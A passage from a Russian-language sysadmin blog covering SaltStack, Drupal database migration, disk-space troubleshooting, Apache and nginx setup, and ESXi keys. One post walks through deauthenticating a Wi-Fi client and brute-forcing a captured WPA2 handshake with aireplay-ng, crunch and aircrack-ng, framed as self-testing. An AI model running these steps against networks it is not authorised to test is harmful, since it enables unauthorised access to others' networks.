и приступить к установке

apt-get install salt-minion

Минимальная настройка saltstack-minion

Пример:

- #master: salt
+ master: 10.0.0.1

Осталось перезапустить миньёна:

/etc/init.d/salt-minion restart

Что такое SaltStack и с чем его едят

2013-04-22T16:49:00.000+07:00

SaltStack обеспечивает новый подход администрирования больших инфраструктур путём написания кода, при этом рабочая связка разворачивается за считанные минуты.

При этом система достаточно гибкая и масштабируемая для управления десятками тысяч серверов.

SaltStack реализует динамически изменяемую инфраструктуру, удалённое выполнение команд, управлением конфигурациями серверов, и многое другое.

SaltStack имеет большое количество готовых модулей для управления системой, кроме того можно писать собственные модули.

SaltStack так же можно использовать для написания деплоя собственных проектов.

Архитектура до банальности проста есть один(или группа) saltstack-master нод, к которой подключаются SaltStack-minion'ы установленные на всех ваших серверах.

Приведу пример одновременного выполнения команд на всех подчинённых Debian системах:

salt -G 'os:Debian' cmd.run 'hostname'
saltstack-minion-1:
    saltstack-minion-1
saltstack-minion-2:
    saltstack-minion-2
saltstack-minion-3:
    saltstack-minion-3
saltstack-minion-4:
    saltstack-minion-4

Таким образом тривиальное обновление OS для всего парка серверов будет занимать совсем немного времени.

Как установить и настроить SaltStack читайте в последующих статьях

Так же SaltStack имеет свою общирную документацию:

SaltStack документация docs.saltstack.com
IRC чат #salt on freenode
Канал на YouTube SaltStack Youtube channel
Почтовая рассылка SaltStack Mailing List
Разработка SaltStack Salt on GitHub

Linux Вопросы и ответы #lecture 1(part2)

2013-01-27T21:34:00.000+07:00

Лекция по Linux в компании Thumbtack Technology Linux - Вопросы и ответы

* Network
* Bash

Linux Вопросы и ответы #lecture 1

2012-12-05T00:53:00.001+07:00

Лекция по Linux в компании Thumbtack Technology Linux - Вопросы и ответы

* Access control
* Environment
* Users and Grops
* File system'Ы
* Init system
* Network
* Bash

Ищем в grep'ом по файлам содержащих в имене пробелы

2012-10-30T20:06:00.000+07:00

find ./ -type f | sed -e 's/ /\\ /g' | xargs grep "шаблон поиска"

Переносим базу Drupal/Pressflow 6, без очистки кэша

2012-10-11T04:00:00.000+07:00

Drupal logo (Photo credit: Wikipedia)

Мыши плакали, кололись, но продолжали жрать кактус.

Так и с друпалом, все плюются но продолжают использовать.

Случалось ли вам переносить базу друпала вместе с кэшем? Мда многие скажут что этим кэшем можно отдавить себе ... впрочем опустим это.

Конечно же самый простой способ это перед дампом очистить кэши и всё, или воспользоваться плагином самого друпала который создаст дамп без кэша, или использовать drush для этих целей. НО не всегда есть возможность воспользоваться перечисленными выше примерами (слишком высокая нагрузка для сброса кэша/несогласованно внесение изменений в прод/или бла-бла... что ни-будь ещё)

Если у вас именно этот случай читайте дальше.

Приступим

Совершаем акт дампа, исключая таблицы содержащие кэш друпала (выделенное заменить на имя своей базы)

mysqldump -uroot -prootpass drupal_db --ignore-table=drupal_db.cache\
 --ignore-table=drupal_db.cache_block --ignore-table=drupal_db.cache_content\
 --ignore-table=drupal_db.cache_filter --ignore-table=drupal_db.cache_form\
 --ignore-table=drupal_db.cache_menu --ignore-table=drupal_db.cache_page\
 --ignore-table=drupal_db.cache_update --ignore-table=drupal_db.cache_views\
 --ignore-table=drupal_db.cache_views_data\
 > drupal_db.sql

Далее скопируем дамп на целевую систему по средством scp зайдём на систему по средством ssh и развернём базу (предполагается что база данных и пользователь уже созданы)

scp drupal_db.sql target-system:~
ssh target-system
mysql -uroot -prootpass drupal_db < drupal_db.sql

Теперь подключимся к свеже развёрнутой ущербной базе

mysql -uroot -prootpass drupal_db

И воссоздадим из небытия таблици кэшей на новом месте

--
-- Table structure for table `cache`
--

DROP TABLE IF EXISTS `cache`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `cache` (
  `cid` varchar(255) NOT NULL default '',
  `data` longblob,
  `expire` int(11) NOT NULL default '0',
  `created` int(11) NOT NULL default '0',
  `headers` text,
  `serialized` smallint(6) NOT NULL default '0',
  PRIMARY KEY  (`cid`),
  KEY `expire` (`expire`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `cache_block`
--

DROP TABLE IF EXISTS `cache_block`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `cache_block` (
  `cid` varchar(255) NOT NULL default '',
  `data` longblob,
  `expire` int(11) NOT NULL default '0',
  `created` int(11) NOT NULL default '0',
  `headers` text,
  `serialized` smallint(6) NOT NULL default '0',
  PRIMARY KEY  (`cid`),
  KEY `expire` (`expire`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `cache_content`
--

DROP TABLE IF EXISTS `cache_content`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `cache_content` (
  `cid` varchar(255) NOT NULL default '',
  `data` longblob,
  `expire` int(11) NOT NULL default '0',
  `created` int(11) NOT NULL default '0',
  `headers` text,
  `serialized` smallint(6) NOT NULL default '0',
  PRIMARY KEY  (`cid`),
  KEY `expire` (`expire`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `cache_filter`
--

DROP TABLE IF EXISTS `cache_filter`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `cache_filter` (
  `cid` varchar(255) NOT NULL default '',
  `data` longblob,
  `expire` int(11) NOT NULL default '0',
  `created` int(11) NOT NULL default '0',
  `headers` text,
  `serialized` smallint(6) NOT NULL default '0',
  PRIMARY KEY  (`cid`),
  KEY `expire` (`expire`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `cache_form`
--

DROP TABLE IF EXISTS `cache_form`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `cache_form` (
  `cid` varchar(255) NOT NULL default '',
  `data` longblob,
  `expire` int(11) NOT NULL default '0',
  `created` int(11) NOT NULL default '0',
  `headers` text,
  `serialized` smallint(6) NOT NULL default '0',
  PRIMARY KEY  (`cid`),
  KEY `expire` (`expire`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `cache_menu`
--

DROP TABLE IF EXISTS `cache_menu`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `cache_menu` (
  `cid` varchar(255) NOT NULL default '',
  `data` longblob,
  `expire` int(11) NOT NULL default '0',
  `created` int(11) NOT NULL default '0',
  `headers` text,
  `serialized` smallint(6) NOT NULL default '0',
  PRIMARY KEY  (`cid`),
  KEY `expire` (`expire`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `cache_page`
--

DROP TABLE IF EXISTS `cache_page`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `cache_page` (
  `cid` varchar(255) NOT NULL default '',
  `data` longblob,
  `expire` int(11) NOT NULL default '0',
  `created` int(11) NOT NULL default '0',
  `headers` text,
  `serialized` smallint(6) NOT NULL default '0',
  PRIMARY KEY  (`cid`),
  KEY `expire` (`expire`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `cache_update`
--

DROP TABLE IF EXISTS `cache_update`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `cache_update` (
  `cid` varchar(255) NOT NULL default '',
  `data` longblob,
  `expire` int(11) NOT NULL default '0',
  `created` int(11) NOT NULL default '0',
  `headers` text,
  `serialized` smallint(6) NOT NULL default '0',
  PRIMARY KEY  (`cid`),
  KEY `expire` (`expire`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `cache_views`
--

DROP TABLE IF EXISTS `cache_views`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `cache_views` (
  `cid` varchar(255) NOT NULL default '',
  `data` longblob,
  `expire` int(11) NOT NULL default '0',
  `created` int(11) NOT NULL default '0',
  `headers` text,
  `serialized` smallint(6) NOT NULL default '0',
  PRIMARY KEY  (`cid`),
  KEY `expire` (`expire`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Table structure for table `cache_views_data`
--

DROP TABLE IF EXISTS `cache_views_data`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `cache_views_data` (
  `cid` varchar(255) NOT NULL default '',
  `data` longblob,
  `expire` int(11) NOT NULL default '0',
  `created` int(11) NOT NULL default '0',
  `headers` text,
  `serialized` smallint(6) NOT NULL default '1',
  PRIMARY KEY  (`cid`),
  KEY `expire` (`expire`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
/*!40101 SET character_set_client = @saved_cs_client */;

На этом эпопея завершена
Можете прописывать данные новой базы в settings.php

Что делать если du и df выводят разные данные

2012-10-08T18:21:00.000+07:00

Случалось ли вам столкнуться с ситуацией когда вы освободили место на диске, удалили жирные логи, а система по прежнему считает, что у вас переполнен диск.
Если вы столкнулись с подобной ситуацией, то скорее всего удалённые вами файлы до сих пор открыты каким бы то ни было приложением.

Это выглядит примерно следующим образом.

df -h
 Filesystem            Size  Used Avail Use% Mounted on
 /dev/sda1             7,9G  7,6G     0 100% /
 tmpfs                 502M     0  502M   0% /lib/init/rw
 udev                  497M  100K  497M   1% /dev
 tmpfs                 502M     0  502M   0% /dev/shm

du -sh /
 2,2G    /

Чтобы получить список процессов которые до сих пор держат удалённые файлы, выполните следующую команду

lsof -n -P | grep deleted | awk '{ print $1}' | sort | uniq
 java
 mysqld
 nginx
 uwsgi

Теперь их стоит погасить

killall java -9
/etc/init.d/mysql stop
/etc/init.d/nginx stop
/etc/init.d/uwsgi stop

После чего выполните команду sync чтобы записать все изменения из буфера памяти на диск

sync

И можете проверить что пространство на диске действительно высвободилось

df -h
 Filesystem            Size  Used Avail Use% Mounted on
 /dev/sda1             7.9G  2.1G  5.5G  28% /
 tmpfs                 502M     0  502M   0% /lib/init/rw
 udev                  497M  100K  497M   1% /dev
 tmpfs                 502M     0  502M   0% /dev/shm

Теперь можете запустить свои сервисы.

WEP/WPA/WPA2 - Тестируем на стойкость к проникновению своё оборудование

2012-09-23T16:46:00.001+07:00

Эта статья написана исключительно в обучающих целях, и её можно использовать для проверки устойчивости ко взлому только своего оборудования.

В наше время технология Wi-Fi стала очень распространена, в каждом жилом доме или офисе можно поймать 3 и более wi-fi сетей. Я уверен, что у вас тоже имеется несколько домашних или рабочих wi-fi точек. И все знают, или хотя бы слышали о том, что wi-fi уязвим, но насколько, и как проверить насколько уязвима ваша личная точка никто толком не знает. Чем собственно и пользуются недоброжелатели и охотники до халявы.

В данной статье мы рассмотрим атаку на самый распространённый протокол безопасности WPA2(он же является самым надёжным на данный момент), и самый распространённый тип атаки - перебор по словарю(brute force).

Для этого в режиме мониторинга беспроводной карты сканируется эфир и записываются необходимые пакеты. Далее проводится деавторизация клиента для захвата начального обмена пакетами (handshake), либо нужно ждать пока клиент совершит подключение. После этого уже нет необходимости находиться недалеко от атакуемой точки доступа. Атака проводится оффлайн с помощью специальной программы и файла с хэндшейком.(Wikipedia)

В качестве атакующего ноутбука я использую Lenovo G770 с Wi-Fi адаптером Atheros AR9285, драйвер ath9k операционной системой GNU/Linux Debian squeeze x86_64 с подключенным репозитарием squeeze-backports. В принципе подойдёт любой Debian/Ubuntu, главное чтобы был рабочий Wi-Fi драйвер.

Для сбора трафика и анализа файла с хэндшейком нам потребуется aircrack-ng, для генерации word list нам потребуется crunch.

Итак, приступим.

Установим всё необходимое для сборки пакетов

apt-get update
apt-get install build-essential libssl-dev libsqlite-dev -y

Приступим к установке aircrack-ng

wget -O aircrack-ng-1.1.tar.gz http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
tar xfv aircrack-ng-1.1.tar.gz
cd aircrack-ng-1.1/
make 
make install
airodump-ng-oui-update

Теперь поставим crunch

wget -O crunch-3.2.tgz "http://downloads.sourceforge.net/project/crunch-wordlist\
/crunch-wordlist/crunch-3.2.tgz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcrunch-\
wordlist%2Ffiles%2Fcrunch-wordlist%2F&ts=1341152956&use_mirror=citylan"
tar xfv crunch-3.2.tgz 
cd crunch3.2/
make
make install
ln -s /pentest/passwords/crunch/crunch /usr/sbin/

Платформу мы подготовили, приступим к атаке.

Запустим airmon-ng в режиме мониторинга вашей Wi-Fi карты.

airmon-ng start wlan0


Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e 
PID    Name
1739    NetworkManager
1749    wpa_supplicant
1986    avahi-daemon
1987    avahi-daemon
Process with PID 3000 (dhclient) is running on interface wlan0


Interface    Chipset        Driver

wlan0        Atheros     ath9k - [phy0]SIOCSIFFLAGS: Name not unique on network

                (monitor mode enabled on mon0)

Если вы получили сообщение подобное тому, что я выделил курсивом, значит вам нужно остановить перечисленные там сервисы и запущенные программы, которые используют интерфейс wlan0.
В моём случае это будет выглядеть следующим образом:

/etc/init.d/network-manager stop
/etc/init.d/avahi-daemon stop
killall wpa_supplicant -9

При первом неудачном запуске у нас создался интерфейс mon0, который для удобства лучше удалить.

airmon-ng stop wlan0 
airmon-ng stop mon0

Для поставленной задачи нам понадобится 3 терминальных окна с правами доступа ROOT.

# Terminal 1
Создадим интерфейс mon0 для сканирования сети

airmon-ng start wlan0

 Interface      Chipset         Driver  

 wlan0          Atheros         ath9k - [phy0]
                        (monitor mode enabled on mon0)

Приступим к сканированию. Сейчас нас интересуют сети у которых есть клиент, в данном случае моя собственная AP с ESSID home-privat. Для следующего шага нам нужно записать BSSID(это мак адрес AP) и CH(это сокращение channel). Я их выделил жирным шрифтом.

airodump-ng mon0

 CH  6 ][ Elapsed: 16 s ][ 2012-09-23 11:07

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:21:91:7E:C9:C7  -39       36        7    0   6  54 . WPA2 TKIP   PSK  home-privat
 00:24:01:24:5A:21  -73       19        0    0   1  54e. WPA2 CCMP   PSK  SKYNET
 54:E6:FC:9B:77:30  -79       30        0    0   6  54 . WPA2 CCMP   PSK  TP-LINK

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

 (not associated)   00:15:AF:82:D8:37  -84    0 - 1     11        3  SKYNET
 (not associated)   00:1D:D9:15:A3:BD  -87    0 - 1      7        8
 00:21:91:7E:C9:C7  D4:20:6D:09:96:36  -58   18 - 1     79       45  home-privat

# Terminal 2
Теперь, когда мы слушаем весь трафик, нам нужно выделить и сохранить в файл handshake запрос, чтобы потом с помощью брутфорса подобрать пароль.
Составим команду из известных нам данных:

-c 6 :указываем что airodump-ng должен слушать 6-ой канал
--bssid 00:21:91:7E:C9:C7 :указываем что airodump-ng должен принимать трафик, предназначенный для Access Point с маком 00:21:91:7E:C9:C7
mon0 :указываем, что airodump-ng должен использовать интерфейс mon0
-w ./target-wifi
:указываем, что airodump-ng должен записывать свои файлы в текущую директорию по маске target-wifi

airodump-ng -c 6 --bssid 00:21:91:7E:C9:C7 mon0 -w ./target-wifi

 CH  6 ][ Elapsed: 12 s ][ 2012-09-23 11:09

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:21:91:7E:C9:C7  -31 100      125       26    2   6  54 . WPA2 TKIP   PSK  home-privat

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

 00:21:91:7E:C9:C7  D4:20:6D:09:96:36  -60   24 - 1     55       39

# Terminal 3
Настало время прикинуться клиентом и сказать AP, что клиент разрывает соединение, после чего AP закроет соединение со своей стороны. Соответственно разрыв соединения станет неожиданностью для клиентского устройства, оно сочтет этот разрыв простым сбоем и попытается подключиться снова послав handshake запрос, который будет перехвачен и записан в файл home-privat-01.cap процессом, который в данный момент выполняется в Terminal 2.

Для этого нам понадобятся BSSID(mac адрес AP) STATION(mac адрес клиента, подключенного к AP).

Составим команду из известных нам данных:

-0 10
:указываем количество посылаемых сообщений о разрыве
-a 00:21:91:7E:C9:C7 :указываем BSSID
-c D4:20:6D:09:96:36
:указываем STATION
mon0 :указываем интерфейс

aireplay-ng -0 10 -a 00:21:91:7E:C9:C7 -c D4:20:6D:09:96:36 mon0
 11:15:58  Waiting for beacon frame (BSSID: 00:21:91:7E:C9:C7) on channel 6
 11:15:59  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [42|64 ACKs]
 11:15:59  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [49|66 ACKs]
 11:16:00  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [18|64 ACKs]
 11:16:00  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [30|66 ACKs]
 11:16:01  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [ 5|64 ACKs]
 11:16:01  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [71|65 ACKs]
 11:16:02  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [21|63 ACKs]
 11:16:02  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [67|65 ACKs]
 11:16:03  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [20|66 ACKs]
 11:16:03  Sending 64 directed DeAuth. STMAC: [D4:20:6D:09:96:36] [ 6|64 ACKs]

Если вы получили сообщение следующего содержания, то вам следует пересобрать compat-wireless для вашей системы, как это написано тут.

20:06:34  Waiting for beacon frame (BSSID: 00:21:91:7E:C9:C7) on channel -1
20:06:34  mon0 is on channel -1, but the AP uses channel 6

# Brute-force
Как было написано выше, для перебора паролей мы будем использовать программу crunch (мы её установили в начале статьи).
Давайте рассмотрим параметры запуска:

/pentest/passwords/crunch/crunch :Указываем путь до самого Crunch
1 8 :Указываем диапазон длинны пароля от 1-го до 8им символов
-f /pentest/passwords/crunch/charset.lst : Читаем файл в котором описаны возможные списки символов для составления паролей(загляните в него, чтобы выбрать нужный)
lalpha :Указываем, что мы будем перебирать пароли только из букв в нижнем регистре
| aircrack-ng :Передаем список паролей программе aircrack-ng
./target-wifi-01.cap :Читаем файл в который мы записали handshake
-e home-privat :Указываем ESSID
-w - :Читаем wordlist из стандартного потока ввода

Перебирать пароли можно в несколько потоков, в том числе и на разных машинах. Соответственно на них так же должен быть установлен aircrack-ng и crunch. Имеет смысл поиграть с разной длинной пароля, попробовать букво-циферные комбинации в высоком и нижнем регистре. Все возможные комбинации перечислены в файле /pentest/passwords/crunch/charset.lst

/pentest/passwords/crunch/crunch 1 8\
 -f /pentest/passwords/crunch/charset.lst lalpha\
 | aircrack-ng ./target-wifi-01.cap -e home-privat -w -

После запуска брутфорса вы увидите следующее окно с меняющимся значением в поле Current passphrase. Когда перебор будет завершен, вы найдете там пароль от целевой системы.


Aircrack-ng 1.1


275280 keys tested (1278.70 k/s)


                       Current passphrase: password


      Master Key     : 83 1B 20 A8 06 7F 5E 32 1F 4A C7 84 23 C1 BA 78
                       E1 8E B2 C1 C8 0E 07 8F 99 21 28 75 21 4E 93 E4

      Transient Key  : D5 0D 28 DF BB 76 8B 2E 4B 09 F0 E9 73 76 1C 5A
                       95 AF 6A D2 BA 77 9F DD 7B 18 99 E7 A3 15 D6 8D
                       1A 47 CB A4 98 C5 B9 93 32 09 0C E2 73 54 74 86
                       D4 CB F3 A6 4D F3 6F FE 75 6F FC 6F EB 40 50 DD

      EAPOL HMAC     : 9D 5E 31 AA FD 03 69 61 41 94 9C 08 B1 C0 60 7F

Теперь по скорости, в поле keys tested: указана скорость, с которой идет перебор вы можете рассчитать сколько потребуется времени для подбора вашего пароля на ресурсе http://lastbit.com/pswcalc.asp. Например пароль из 8-ми знаков в нижнем регистре будет подбираться около 6-ти лет =))

а пароль из 8ми символов в обоих регистрах + цифры будет подбираться 5490 лет

Вывод: для обеспечения более высокой стойкости сети вам необходимо использовать длинные пароли в верхнем и нижнем регистре. Так же, чтобы оградиться от атак по словарю, стоит испрользовать WPA-Enterprise, для защиты которого используется Extensible Authentication Protocol (EAP) В этом случае аутоинтоксикация будет происходить при помощи RADIUS сервера.

Так же не стоит забывать про уязвимость Hole196. Если при использовании WPA/WPA-Enterprise один паролей был скомпрометирован, то есть вероятность перехвата данных. Для избежания утечки информации используйте OpenVPN туннель поверх Wi-Fi.

CentOS LAMP чуть больше чем в две строчки

2012-09-19T02:16:00.001+07:00

Устанавливаем httpd.

yum install -y httpd mysql mysql-server php php-cli\
 php-mysql php-common php-curl php-gd php-mcrypt php-suhosin

Записываем виртуалхост.

cat >> /etc/httpd/conf/httpd.conf <<EOF

NameVirtualHost *:80
<VirtualHost *:80>
        <Directory /opt/www/example.com>
        AllowOverride All
        </Directory>
    DocumentRoot /opt/www/example.com/

    ServerName example.com
    ErrorLog logs/example.com-error_log
    CustomLog logs/example.com-access_log common
</VirtualHost>
EOF

Создадим директорию сайта.

mkdir -p /opt/www/example.com/

Запишем httpd в автозагрузку и запустим сервис.

chkconfig --level 345 httpd on
service httpd start

Рассчитываем параметры prefork.c для Apache в Linux

2012-09-19T01:59:00.000+07:00

Не так давно мне пришлось настраивать LAMP кластер с балансером несколькими WEB нодами и одной базой данных. В отличие от не больших сайтов с низкой загруженностью, крупным проектам нужна более детальная настройка. В этой статье я собираюсь рассказать о настройке лишь одного модуля под названием prefork.c это один из нескольки multi-processing модулей для Apache httpd и самый распространённый по ряду причин. Во время своих изысканий, я перерыл очень много документации и статей в интернете основная часть которых сводилась к тому, что параметры prefork.c для каждого хоста следует выбирать тестовым путём. Вышеуказанное заявление не лишено смысла, универсальных настроек не существует, но оно не решает основной задачи: а что же делать конкретно мне прямо сейчас, особенно в условиях продакшн сервера. Я решил попытаться ответить на этот вопрос, и сделать максимально простое и универсальное средство для решения этой задачи.

Основная задача prefork.c это научить Apache обрабатывать большое количество запросов в несколько потоков, ведь чем больше параллельно обрабатываемых запросов, тем быстрее и больше запросов будет обработано. Но не стоит забывать что если мы запустим слишком много параллельных потоков, то мы выберем все ресурсы сервера и наш сервер не сможет с должной скоростью обрабатывать запросы, а в худшем случае вообще перестанет отвечать.

Чтобы выжать из системы максимум, и избежать эксцессов нужно учесть несколько факторов:

Количество ОЗУ на сервере
Сколько памяти в процентах мы готовы пожертвовать Apache
Сколько кушает в среднем один htttpd
Сколько мы можем запустить параллельно httpd чтобы не превысить пункт (2)

Формула расчёта максимального количества пользователей Apache выглядит примерно так:

(("вся папять"-"25%")/("вся память использованная для всех процессов httpd"/"количество httpd процессов"))

Для успешной работы скрипта у вас в системе должна быть установлена утилита bc

Приступим.
Запишите скрипт

cat > apache_prefork.sh <<EOF
#!/bin/bash
TotalMem=\$(free -m | grep Mem | awk '{ print \$2 }')
HttpMem=\$(ps aux | egrep 'httpd|apache2' | grep -v grep | awk '{sum +=\$6}; END {print sum}')
HttpCount=\$(ps aux | egrep 'httpd|apache2' | grep -v grep | wc -l)
Http1tread=\$(echo "\$HttpMem/\$HttpCount/1024" | bc)
HttpMaxTreads=\$(echo "\$TotalMem/100*75/\$Http1tread" | bc)

StartServers=\$(echo "\$HttpMaxTreads/5" | bc)
MinSpareServers=\$StartServers
MaxSpareServers=\$(echo "\$MinSpareServers*2" | bc)
ServerLimit=\$HttpMaxTreads
MaxClients=\$HttpMaxTreads
MaxRequestsPerChild=\$(echo "\$MaxClients*\$MinSpareServers" | bc)

echo -e "
<IfModule prefork.c>
StartServers\t    \$StartServers
MinSpareServers\t    \$MinSpareServers
MaxSpareServers\t    \$MaxSpareServers
ServerLimit\t    \$ServerLimit
MaxClients\t    \$MaxClients
MaxRequestsPerChild\t    \$MaxRequestsPerChild
</IfModule>
"
EOF

Для системы с 8-ми гигабайтами оперативной памяти, при условии что один трэд Apache употребляет примерно 50Мб у меня получились следующие значения.

Выполните скрипт.

bash ./apache_prefork.sh 

<IfModule prefork.c>
StartServers    23
MinSpareServers    23
MaxSpareServers    46
ServerLimit    116
MaxClients    116
MaxRequestsPerChild    2668
</IfModule>

То есть при пиковой нагрузке Apache не превысит следующего значения 50*116=5800Мб

Напоминаю что этот скрипт учитывает только Apache ноду. Если у вас на сервере стоят еще какие бы то ни было сервисы, то вам приедятся учесть их в формуле.

Пример формулы для связки Apache+MySQL:

(("вся папять"-"память потребляемая для MySQL при средней нагрузке"-"25%")/("вся память использованная для всех процессов httpd"/"количество httpd процессов"))

Load Balancer на базе NGINX в Debian Squeeze

2012-09-11T20:26:00.000+07:00

Рассмотрим построение простого дешевого HTTP балансера на базе Debian+Nginx.

Итак мы имеем

MySQL server - мы не будем рассматривать его конфигурацию, и предположим, что WEB ноды к нему обращаются и работают.
WEB Server 1 - host1.example.com(принимает запросы, общается с базой данных, отдает контент)
WEB Server 2 - host2.example.com(настроен идентично "WEB Server 1")
HTTP balancer - NGINX

Схема выглядит примерно так:

Пункт 1: Установка Nginx

apt-get update
apt-get install nginx -y

Пункт 2: Настройка Nginx

Думаю сейчас стоит обговорить обозначения:

exampleproject - имя проекта(так будет называться наш upstream, в нем будут перечислены все WEB ноды)
host1.example.com - web server(web нода, их может быть перечислено сколь угодно)
example.com - имя домена

Перед внесением изменений скопируем оригинальный файл конфигурации, после чего создадим шаблон конфига.

cp /etc/nginx/sites-available/default /etc/nginx/sites-available/default.origin

cat > /etc/nginx/sites-available/default <<EOF
upstream exampleproject {
server host1.example.com;
server host2.example.com;
}

server {

    listen   80; ## listen for ipv4
    server_name  example.com;

    access_log  /var/log/nginx/example.com.access.log;

    location / { 
        proxy_pass http://exampleproject;
    }   

    }   
EOF

Теперь можете отредактировать /etc/nginx/sites-available/default , изменить имя домена, проекта, адреса и количество WEB нод.

Теперь можно перезапустить Nginx.

/etc/init.d/nginx restart
 Restarting nginx: nginx.

P.S. Upstream имеет кучу параметров. Серверам можно задавать вес, настраивать резервные сервера и прочее. По умолчанию запросы распределяются по серверам циклически (в режиме round-robin) с учётом весов серверов. Если при попытке работы с сервером произошла ошибка, то запрос будет передан следующему серверу, и так до тех пор, пока не будут опробованы все работающие серверы. Если не удастся получить успешный ответ ни от одного из серверов, то клиенту будет возвращён результат работы с последним сервером. Подробнее можно почитать Тут

PHP53u + memcache + apc в CentOS 5

2012-09-11T14:19:00.001+07:00

Когда я попытался настроить memcache + APC в тестовой ветке CentOS 5, я очень удивился когда не нашел расширения memcache для php53 в репозитарии.

По этой пришлось использовать репозиторий IUS.

Приступим:
Установим репозитории в систему.

rpm -Uvh http://dl.iuscommunity.org/pub/ius/stable/Redhat/5/x86_64/ius-release-1.0-10.ius.el5.noarch.rpm
rpm -Uvh http://dl.iuscommunity.org/pub/ius/stable/Redhat/5/x86_64/epel-release-5-4.noarch.rpm

Сохраним названия установленных пакетов, удалим всё что связано с php и поставим тот же набор пакетов из нового репозитория.

rpm -qa |grep php > old_php.log
yum erase php* -y
yum install $(cat old_php.log | sed -e 's/^php[^-]*-/php53u-/g'\
 | sed 's/-[0-9].*//g' | awk '{ printf $1" " }') -y

Установим пакеты memcache и apc расширения для php

yum install php53u-pecl-memcache php53u-pecl-apc -y
sed -i -e 's/;apc.enabled/apc.enabled/g' /etc/php.d/apc.ini
sed -i -e 's/;apc.shm_size/apc.shm_size/g' /etc/php.d/apc.ini

Установим memcached

yum install -y memcached
chkconfig --level 2345 memcached on
/etc/init.d/memcached start

Проверим работоспособность memcache

php -i 2>&1 | grep -i 'memcache\ support'
 memcache support => enabled

И перезапустим httpd

/etc/init.d/httpd restart
 Stopping httpd:                                            [  OK  ]
 Starting httpd:                                            [  OK  ]

Прописываем статический public_key в VMware ESXi 4.1

2012-08-28T11:42:00.000+07:00

Для начала вы должны создать связку Public/Private ключей, разумеется если у вас их нет.
Как это делается вы можете прочесть тут.

Теперь можно скопировать ваш публичный ключ на ESXi хост.

ssh-copy-id root@esxi-host

И на конец подключимся к esxi хосту, заархивируем каталог .ssh и скажем гипервизору, чтобы архив public_key.tgz распаковывался при каждой загрузке системы.

ssh root@esxi-host
 X11 forwarding request failed on channel 0
 You have activated Tech Support Mode.
 The time and date of this activation have been sent to the system logs .

 VMware offers supported, powerful system administration tools.  Please
 see www.vmware.com/go/sysadmintools for details.

 Tech Support Mode may be disabled by an administrative user.
 Please consult the ESXi Configuration Guide for additional 
 important information.

~ # tar -C / -czf public_key.tgz .ssh
~ # BootModuleConfig.sh --add=public_key.tgz --verbose
 Acquiring lock /tmp/bootbank.lck
 Copying public_key.tgz to /bootbank/public_key.tgz
 Editing /bootbank/boot.cfg to add module public_key.tgz
~ # exit
~ # Connection to esxi-host closed by remote host.
Connection to esxi-host closed.

Всё!!!